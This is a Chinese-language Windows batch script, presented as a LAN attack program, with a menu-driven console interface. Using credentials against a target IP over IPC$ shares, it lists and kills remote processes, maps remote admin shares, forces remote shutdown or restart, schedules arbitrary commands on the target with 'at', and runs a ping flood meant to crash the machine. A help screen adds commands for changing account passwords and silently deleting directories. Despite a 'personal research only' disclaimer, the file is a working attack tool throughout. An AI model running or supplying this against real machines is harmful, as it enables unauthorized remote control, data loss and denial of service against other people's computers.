批处理写的局域网攻击程序

@ echo off&title DOS资源站 www.cmdos.net
echo 局域网攻击!
color cf
title 攻击程序
mode con: cols=78 lines=30
::截取变量TIME的时间
set tm1=%time:~0,2%
set tm2=%time:~3,2%
set tm3=%time:~6,2%
::查看本地IP地址
for /f "tokens=4 delims=:" %%i in ('ipconfig /all ^| find /i "IP Address"') do set youip=%%i
::启动必要服务
net start LanmanServer>nul 2>nul
net start Lanmanworkstation>nul 2>nul
net share ipc$>nul 2>nul
::开启RPC服务
sc config RpcSs start= auto>nul 2>nul
mshta vbscript:msgbox("欢迎使用局域网攻击程序",64,"局域网攻击")(window.close)
:ip
cls
echo 您的IP是%youip%                               现在时间为%tm1%时%tm2%分%tm3%秒
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo.
echo.
echo 请输入要攻击的IP（XXX.XXX.XXX.XXX）
set /p ip=IP:
set "ip=%ip:"=%"
echo 请输入要攻击的计算机用户名
set /p user=用户名:
set "user=%user:"=%"
echo 请输入要攻击的计算机的密码(空密码请输入空格):
set /p pass=密码:
set "pass=%pass:"=%"
cls
set tm1=%time:~0,2%
set tm2=%time:~3,2%
set tm3=%time:~6,2%
echo 您的IP是%youip%                               现在时间为%tm1%时%tm2%分%tm3%秒
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo.
echo.
echo  正在连接远程计算机，请稍候！
set /p= ===========================================================================<nul
set /p=<nul
for /l %%b in (1,1,75) do set /p=^><nul&ping -n 0 127.1>nul
cls
ping /n 1 %ip%>nul 2>nul
if %errorlevel% == 1 goto :lan
goto start
:start
mode con: cols=78 lines=30
color cf
cls
set tm1=%time:~0,2%
set tm2=%time:~3,2%
set tm3=%time:~6,2%
echo 您的IP是%youip%                               现在时间为%tm1%时%tm2%分%tm3%秒
echo.
echo.
echo ------------------------------------------------------------------------------
echo                          本软件只用于个人研究专用
echo                             如出现任何法律问题
echo                               本作者概不负责
echo ------------------------------------------------------------------------------
echo.
echo.
echo                              ╭────────╮
echo                ╭──────┤   局域网攻击   ├──────╮
echo                │            ╰────────╯            │
echo                │     1、查看远程进程      2、映射远程磁盘   │
echo                │     3、关闭远程电脑      4、运行指定程序   │
echo                │     5、攻击远程IP        6、更改攻击IP     │
echo                │     7、察看局域网内开启的计算机            │
echo                │     0、退出程序                            │
echo                │                                            │
echo                ╰──────────────────────╯
echo.
echo.                                             
set /p start=                           请输入要操作的代码:
set "start=%start:"=%"
if "%start%"=="1" goto :tasklist
if "%start%"=="2" goto :ipc
if "%start%"=="3" goto :off
if "%start%"=="4" goto :open
if "%start%"=="5" goto :ping
if "%start%"=="6" goto :ip
if "%start%"=="7" goto :lanip
if "%start%"=="0" goto :end
if not errorlevel == 1 goto :err
if not errorlevel == 2 goto :err
if not errorlevel == 3 goto :err
if not errorlevel == 4 goto :err
if not errorlevel == 5 goto :err
if not errorlevel == 6 goto :err
if not errorlevel == 7 goto :err
if not errorlevel == 0 goto :err
:tasklist
mode con: cols=78 lines=45
color fc
cls
tasklist /s %ip% /u %user% /p %pass%>tmp.txt
attrib tmp.txt +h
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo  正在获取远程进程，请稍候！
set /p= ===========================================================================<nul
set /p=<nul
for /l %%b in (1,1,75) do set /p=^><nul&ping -n 0 127.1>nul
cls
FOR /F "skip=3 delims=" %%i in (tmp.txt) do echo %%i
del /a h tmp.txt
ping -n 2 127.1>nul
echo ******************************************************************************
echo ------------------------------结束进程请输入1---------------------------------
echo ------------------------------刷新进程请输入2---------------------------------
echo --------------------------------返回请输入0-----------------------------------
echo ******************************************************************************
set /p taskkill=请输入:
if "%taskkill%"=="0" goto :start
if "%taskkill%"=="1" goto :kill
if "%taskkill%"=="2" goto :tasklist
if not errorlevel == 0 goto :taskerr
if not errorlevel == 1 goto :taskerr
if not errorlevel == 2 goto :taskerr
:kill
set /p im=请输入要结束的进程（如QQ.EXE）：
set "im=%im:"=%"
taskkill /s %ip% /u %user% /p %pass% /im %im% /t /f
pause
goto :tasklist
:ping
mode con: cols=65 lines=10
color 0f
cls
echo 攻击远程IP直到他死机。按任意键开始,要终止请按Ctrl+C退出程序!
pause>nul
ping %ip% -t -l 65500
:ipc
mode con: cols=78 lines=20
color e0
cls
echo 映射远程磁盘到本地！(请确认远程计算机开启IPC$共享)
net use \\%ip%\ipc$ /del>nul 2>nul
net use \\%ip%\ipc$ "" /user:"">nul 2>nul
set /p ipc=请输入要映射的网络磁盘:
set "ipc=%ipc:"=%"
set /p lan=请输入映射的磁盘盘符号(不要输入已存在的本地磁盘如C盘)：
net use %lan%: \\%ip%\%ipc%$ "%pass%" /user:"%user%"
if %errorlevel% == 1 echo 失败！请检查网络连接是否正常，或者远程计算机没有开启IPC$共享！
echo 任意键返回！
pause>nul
goto :start
:off
mode con: cols=50 lines=20
color 3f
cls
echo 强行关闭远程计算机！
echo 1、即时关机
echo 2、定时关机
echo 0、返回主页
set /p off=请输入:
if "%off%"=="1" goto :shutdown
if "%off%"=="2" goto :at
if "%off%"=="0" goto :start
if not errorlevel == 1 goto :offerr
if not errorlevel == 2 goto :offerr
if not errorlevel == 3 goto :offerr
:shutdown
mode con: cols=60 lines=20
cls
echo 关闭计算机输入s,重启计算机输入r.
set /p and=请输入：
set "and=%and:"=%"
echo 请设置关机倒记时（单位/秒）
set /p t=请输入倒记时：
set "t=%t:"=%"
echo 请设置关机注释（不能超过120字节）
set /p c=请输入注释：
set "c=%c:"=%"
net use \\%ip%\ipc$ /del>nul 2>nul
net use \\%ip%\ipc$ "%pass%" /user:"%user%">nul 2>nul
shutdown -m \\%ip% -f -%and% -t %t% -c "%c%"
echo 任意键返回！
pause>nul
goto :start
:at
mode con: cols=78 lines=30
cls
echo 定时关闭远程计算机！
echo 关闭计算机输入s,重启计算机输入r.
set /p sr=请输入：
set "sr=%sr:"=%"
echo 请设置远程关机时间,现在时间为 %time% 。
net use \\%ip%\ipc$ /del>nul 2>nul
net use \\%ip%\ipc$ "%pass%" /user:"%user%">nul 2>nul
net time \\%ip% >tmp0.txt
attrib tmp0.txt +h
FOR /F "tokens=2 delims=是" %%i in (tmp0.txt) do (set tmp0=%%i)
echo 远程计算机的时间为%tmp0%
del /a h tmp0.txt
set /p offtime=请输入（如20:00）：
set "offtime=%offtime:"=%"
echo 请设置关机倒记时（单位/秒）
set /p att=请输入倒记时：
set "att=%att:"=%"
echo 请设置关机注释（不能超过120字节）
set /p atc=请输入注释：
set "atc=%atc:"=%"
net use \\%ip%\ipc$ /del>nul 2>nul
net use \\%ip%\ipc$ "%pass%" /user:"%user%">nul 2>nul
at \\%ip% %offtime% shutdown -f -%sr% -t %att% -c "%atc">nul 2>nul
if %errorlevel% == 1 echo 请确认网络是否正常！ && pause&&goto :at
echo 任意键返回！
pause>nul
goto :start
:err
echo.
echo ------------------------------------------------------------------------------
echo                           您输入的格式不正确
echo.
echo                           任意键返回,重新输入
echo ------------------------------------------------------------------------------
pause>nul&&goto :start

:end
exit
:lan
cls
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo 正在连接远程电脑，请稍候...............................................
ping /n 2 127.1>nul
cls
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo 正在连接远程电脑，请稍候................................................
ping /n 2 127.1>nul
cls
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo 正在连接远程电脑，请稍候.................................................
ping /n 2 127.1>nul
cls
echo.
echo.
echo ------------------------------------------------------------------------------
echo                     IP输入不正确或远程计算机未开启
echo                                连接失败
echo                             任意键继续操作
echo ------------------------------------------------------------------------------
pause>nul
goto :ip

:offerr
echo.
echo -------------------------------------------------
echo               您输入的格式不正确
echo.
echo               任意键返回,重新输入
echo -------------------------------------------------
echo.
pause>nul
goto :off

:taskerr
echo.
echo ------------------------------------------------------------------------------
echo                           您输入的格式不正确
echo.
echo                           任意键返回,重新输入
echo ------------------------------------------------------------------------------
echo.
pause>nul
goto :tasklist
:open
mode con: cols=47 lines=18
color 9f
cls
echo.
echo.
echo  ┏━━━━━━━━━━━━━━━━━━━━┓
echo  ┃      请输入要运行的程序的绝对路径      ┃
echo  ┃    ┏━━━━━━━━━━━━━━┓    ┃
echo  ┃    ┃       可输入DOS命令        ┃    ┃
echo  ┃    ┃    输入格式为“C:\1.bat”  ┃    ┃
echo  ┃    ┗━━━━━━━━━━━━━━┛    ┃
echo  ┃        帮助：H         取消：N         ┃
echo  ┗━━━━━━━━━━━━━━━━━━━━┛
echo.
echo.
set int=:
set /p int=请输入：
set "int=%int:"=%"
if "%int%"==":" goto :open
if /i "%int%"=="H" goto :help
if /i "%int%"=="N" goto :start
net use \\%ip%\ipc$ /del>nul 2>nul
net use \\%ip%\ipc$ "%pass%" /user:"%user%">nul 2>nul
net time \\%ip% >tmp1.txt
attrib tmp1.txt +h
FOR /F "tokens=2 delims=是" %%i in (tmp1.txt) do (set tmp1=%%i)
echo 远程计算机的时间为%tmp1%
del /a h tmp1.txt
set /p int2=请输入程序运行的指定时间：
set "int2=%int2:"=%"
net use \\%ip%\ipc$ /del>nul 2>nul
net use \\%ip%\ipc$ "%pass%" /user:"%user%">nul 2>nul
at \\%ip% %int2% %int%>nul 2>nul
echo 运行成功！
pause
goto :start

:help
cls
mode con: cols=80 lines=48
color cf
echo.
echo.
echo                               ╭────────╮
echo           ╭─────────┤  Dos命令帮助   ├─────────╮
echo           │                  ╰────────╯                  │
echo           │  net start LanmanServer  启动IPC$共享必要服务          │
echo           │                                                        │
echo           │  net start Lanmanworkstation   IPC$共享必要服务        │
echo           │                                                        │
echo           │  sc config RpcSs start= auto   开启RPC服务             │
echo           │                                                        │
echo           │  net share ipc$ 开启ipc$共享                           │
echo           │                                                        │
echo           │  net share ipc$ /del 删除ipc$共享                      │
echo           │                                                        │
echo           │  net user guest 123 用guest用户登陆后用将密码改为123   │
echo           │                                                        │
echo           │  net password 密码 更改系统登陆密码                    │
echo           │                                                        │
echo           │  del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及    │
echo           │  目录下的所有子目录和文件。同时使用参数/Q 可取消删     │
echo           │  除操作时的系统确认就直接删除。（二个命令作用相同）    │
echo           │                                                        │
echo           │  move 盘符\路径\要移动的文件名。                       │
echo           │                                                        │
echo           │  copy 路径\文件名1　路径\文件名2 /y                    │
echo           │  复制文件1到指定的目录为文件2，用参数/y就同时取消确认  │
echo           │  你要改写一份现存目录文件                              │
echo           │                                                        │
echo           │  md　目录名 创建目录                                   │
echo           │                                                        │
echo           │  dir 查看文件                                          │
echo           │                                                        │
echo           │  ren 原文件名　新文件名 重命名文件名                   │
echo           │                                                        │
echo           │  start 程序名或命令 /max 或/min                        │
echo           │  新开一个新窗口并最大化（最小化）运行某程序或命令      │
echo           │                                                        │
echo           │                                                        │
echo           │  如有问题，请搜索！                       by：枫       │
echo           ╰────────────────────────────╯
echo 您可键入您想知道的问题，系统将为您搜索到最佳的答案！
echo 如不搜索请按N返回！
set baidu=:
set /p baidu=请输入：
set "baidu=%baidu:"=%"
if "%baidu%"==":" goto :help
if /i "%baidu%"=="N" goto :open
start http://www.baidu.com/s?wd=%baidu%
goto :help

:lanip
cls
color 0f
mode con: cols=50 lines=40
net view>>name.txt
echo          局域网内已开启的计算机如下
echo.
echo                  计算机名
echo **************************************************
FOR /F "tokens=1 eol=命 skip=3 delims=\ " %%i in (name.txt) do echo                   %%i
echo.
echo **************************************************
del name.txt
echo 返回请按回车！
set name=:
set /p name=请输入要获取IP的计算机名:
set "name=%name:"=%"
if /i "%name%"==":" goto :start
ping -f -n 1 %name%>>ip.txt
if %errorlevel% == 1 goto :lanerr
for /f "tokens=4 delims= " %%a in ('type ip.txt ^| find /i "Ping statistics"') do set echoip=%%a
del ip.txt
echo 计算机 %name% 的IP地址是 %echoip%
echo 任意键返回主页
pause>nul
goto :start

:lanerr
cls
mode con: cols=40 lines=15
echo.
echo.
echo.
echo  *************************************
echo        找不到名为%name%的计算机
echo       请检查您的输入！任意键返回。
echo  *************************************
pause>nul
goto :lanip